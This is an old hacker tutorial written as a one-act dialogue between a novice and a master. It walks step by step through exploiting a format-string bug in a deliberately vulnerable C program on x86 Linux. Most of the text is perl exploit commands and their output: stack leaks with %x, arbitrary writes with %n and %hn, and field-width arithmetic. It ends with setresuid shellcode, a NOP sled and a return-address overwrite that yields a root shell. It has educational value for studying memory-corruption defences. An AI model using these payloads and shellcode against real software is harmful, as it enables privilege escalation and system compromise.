How to exploit a format bug - a play in one act the cast: Nahual - a reckless young hacker Ag3nt0nd - a wise old master props: spiffy - an x86 machine running linux target.c - a c program with a bug a perl interpreter ACT 1 N: what can you tell me about this program target.c ? A: i assume you refer to: //target.c #include #include int main(int argc, char **argv) { char buf[256]; unsigned long test=&test; char buf2[12]="aaaaaaaaaaa\x00"; snprintf(buf,256,argv[1]); //here's the problem buf[255]='\0'; printf("%s\n",buf); printf("%x\n",test); printf("%s adr: %.8x\n",buf2,&buf2); return 0; } N: i do. A: well first of all the calling shell will push argv and argc on the stack. it will then push the return address before transfering control to main(). main will push %ebp and will then subtract 266 from %esp to make room for the three static variables on the stack. buf2 will be placed at the top, then comes test and at last buf, just before the ebp value. N: what will it display when it runs? A: that depends on the size and composition of its input. for example: spiffy#./target `perl -e "print 'A' x 189"` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA bffff824 aaaaaaaaaaa adr: bffff818 N: why did you choose 189 A's? A: because it felt right. anything less than 256 will do nicely. A: let's give it another try spiffy#./target `perl -e "print 'A' x 165;print '%.8x%.8x%.8x%.8x%.8x%.8x'"` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA616161616161616100616161bffff8244141414141414141 bffff824 aaaaaaaaaaa adr: bffff818 N: aha! the first 3 %.8x's popped the constant string buf2 from the stack. the next %.8x popped the variable test. the last 2 %.8x's popped the first 8 bytes of string buf (where argv[1] gets snprintf'd). A: that's correct. now, remember that the %n format directive will write the number of characters output so far to the address currently at the top of the stack (this is normally supplied by the programmer). N: OK, so if i want to write to address 0xbffff824 i just have to pop the other stuff until 0xbffff824 is on top of the stack and then do the %n thing. A: yep. watch this: spiffy#./target `perl -e "print 'A' x 167;print '%.8x%.8x%.8x%n%.8x%.8x'"` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6161616161616161006161614141414141414141 bf aaaaaaaaaaa adr: bffff818 N: Yeah! you wrote 167+3*8=191 (0xbf) to 0xbffff824 but what happened to the output? the bffff824 seems to be missing. A: that's because the stack pointer (esp) was advanced by 4 when we issued the %n directive (just as with the %x directive). this means that the next %x will pop the value below the address we just wrote to. Q. OK, cool. how do i write somewhere useful? A: changing the value of a variable is not useful? N: get real dammit! i want a shell. A: patience. you will get your shell in time. now listen: the %n writes not just the number of chars output but rather the number of chars SUPPOSED to be output. let's try it: spiffy#./target `perl -e "print 'A' x 171;print '%.8x%.8x%.60000x%n'"` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA616161616161616100000000000000000000000000000000000000000000000000000000000000000000 eb1b aaaaaaaaaaa adr: bffff818 N: OK, but i dont want to write to 0xbffff824, i wanna write to some l33t place... A: quit whining! just put the address you want to write to in the first 4 bytes of the input string like so: (using bffff824 for good measure;) and add 1 more %.8x spiffy#./target `perl -e "print \"\x24\xf8\xff\xbf\";print 'A' x 159;print '%.8x%.8x%.8x%.60000x%n'"` $?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA61616161616161610061616100000000000000000000000000000000000000000000000000000000000000000000 eb1b aaaaaaaaaaa adr: bffff818 N: So how do i know what number to put in the width field of that last %x if i want to produce 0xbeef for example. A: first convert 0xbeef to decimal: 0xbeef=48879. subtract the number of A's and the number of %.8x's * 8 and 4 for the address: 48879-(159+3*8+4)=48692 spiffy#./target `perl -e "print \"\x24\xf8\xff\xbf\";print 'A' x 159;print '%.8x%.8x%.8x%.48692x%n'"` $?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA61616161616161610061616100000000000000000000000000000000000000000000000000000000000000000000 beef aaaaaaaaaaa adr: bffff818 N: i was thinking of maybe overwriting a return address somewhere. wouldn't i have to use a very large width field to produce something useful like bffff04c for example? A: why not try it out: 0xbffff04c=3221221452. 201322572-(155+3*8+4)=3221221269 (i took 5 A's away because 3221221452 contains 5 more digits than our previous example...) spiffy#./target `perl -e "print \"\x24\xf8\xff\xbf\";print 'A' x 162;print '%.8x%.8x%.3221221269x%n'"` $?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6161616161616161006161610000000000000000000000000000000000000000000000000000000000000000000 bffff04c aaaaaaaaaaa adr: bffff818 N: wow! it actually works. but it took a hell of a long time to get the result A: that's because we asked spiffy to write ~3Gb to stdout. it takes awhile ;) N: there's got to be a better way... A: there is. read the manual page for the printf family and you will notice the h qualifier. it states that the following n directive is a pointer to a short int which is 2 bytes on spiffy. let's experiment: spiffy#./target `perl -e "print \"\x24\xf8\xff\xbf\";print 'A' x 159;print '%.8x%.8x%.8x%.1000x%hn'"` $?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA61616161616161610061616100000000000000000000000000000000000000000000000000000000000000000000 bfff04a3 aaaaaaaaaaa adr: bffff818 N: Cool! we changed just the 2 first bytes of the target address. but how do we change the last 2 bytes? A: observe. the %hn directive pops the address 0xbffff824 from the stack. now let's pop another (using %x) so that we can alter the number of characters SUPPOSED to be output. then we do another %hn. N: where does the 2nd %hn get its address from? A: good question. and the answer is: from the next 4 bytes of our input string spiffy#./target `perl -e "print \"\x24\xf8\xff\xbf\";print 'B' x 4;print \"\x26\xf8\xff\xbf\";print 'A' x 145;print '%.8x%.8x%.8x%.1000x%hn%.1000x%hn'"` $?BBBB&?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA61616161616161610061616100000000000000000000000000000000000000000000000000000000000000000000000000 885049d aaaaaaaaaaa adr: bffff818 N: Ok, now i suppose we just have to figure out a formula to calculate the field width of the 2 %hn's? A: yes. let's try to write bffff04c once more. first split it in two halves: 0xbfff and 0xf04c. the second half is easy (this is the first %hn remember) 0xf04c=61516 subtract 145+12(addressess and 4 junk bytes)+3*8(%.8x's): 61516-(145+12+3*8)=61335. first half is 0xbfff=49151. but we have already output 61516 chars. not to worry, this is normal addition right? so on overflow we start over from zero: 65536-61516+49151=53171 spiffy#./target `perl -e "print \"\x24\xf8\xff\xbf\";print 'B' x 4;print \"\x26\xf8\xff\xbf\";print 'A' x 145;print '%.8x%.8x%.8x%.61335x%hn%.53171x%hn'"` $?BBBB&?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA61616161616161610061616100000000000000000000000000000000000000000000000000000000000000000000000000 bffff04c aaaaaaaaaaa adr: bffff818 N: can i have my shell now? A: sure, but you'll have to find out where the return address is... N: easy. it's got to be 256+8=264 bytes below the variable test on the stack. A: correct, and what should we put there? N: why not just use the an address 32 bytes or so below test. that way we will surely miss the first 12 bytes of our string. A: yes... N: of course we'll have to put some NOPs and some shellcode in there as well --- l33t setresuid() shellcode by Ag3nt0nd --- "\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xa4\xcd\x80\xb0\x2e\xcd\x80\xeb\x15\x5b\x89\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x31\xd2\xcd\x80\xe8\xe6\xff\xff\xff/bin/sh\x90" --- A: Ok, do it! spiffy#./target `perl -e "print \"\x2c\xf9\xff\xbf\";print 'B' x 4;print \"\x2e\xf9\xff\xbf\";print \"\x90\" x 83;print \"\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xa4\xcd\x80\xb0\x2e\xcd\x80\xeb\x15\x5b\x89\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x31\xd2\xcd\x80\xe8\xe6\xff\xff\xff/bin/sh\x90\";print '%.8x%.8x%.8x%.63385x%hn%.51131x%hn'"` 1R/bin/sh616161616161616100616161000000000000000000000000000000000000000000000000000000000000000000000000000000000000 bffff824 aaaaaaaaaaa adr: bffff818 sh-2.04# N: who U daddy? U know who U daddy iis? it's ME, I'm U daddy! A: happy now? N: yes wise master, i'm very happy that i got my shell. A: right, but remember: this was only kids stuff and we cheated a little bit using the test canary. N: please show me the real stuff A: another time kid, see ya... END 8 Dec 2000 Ag3nt0nd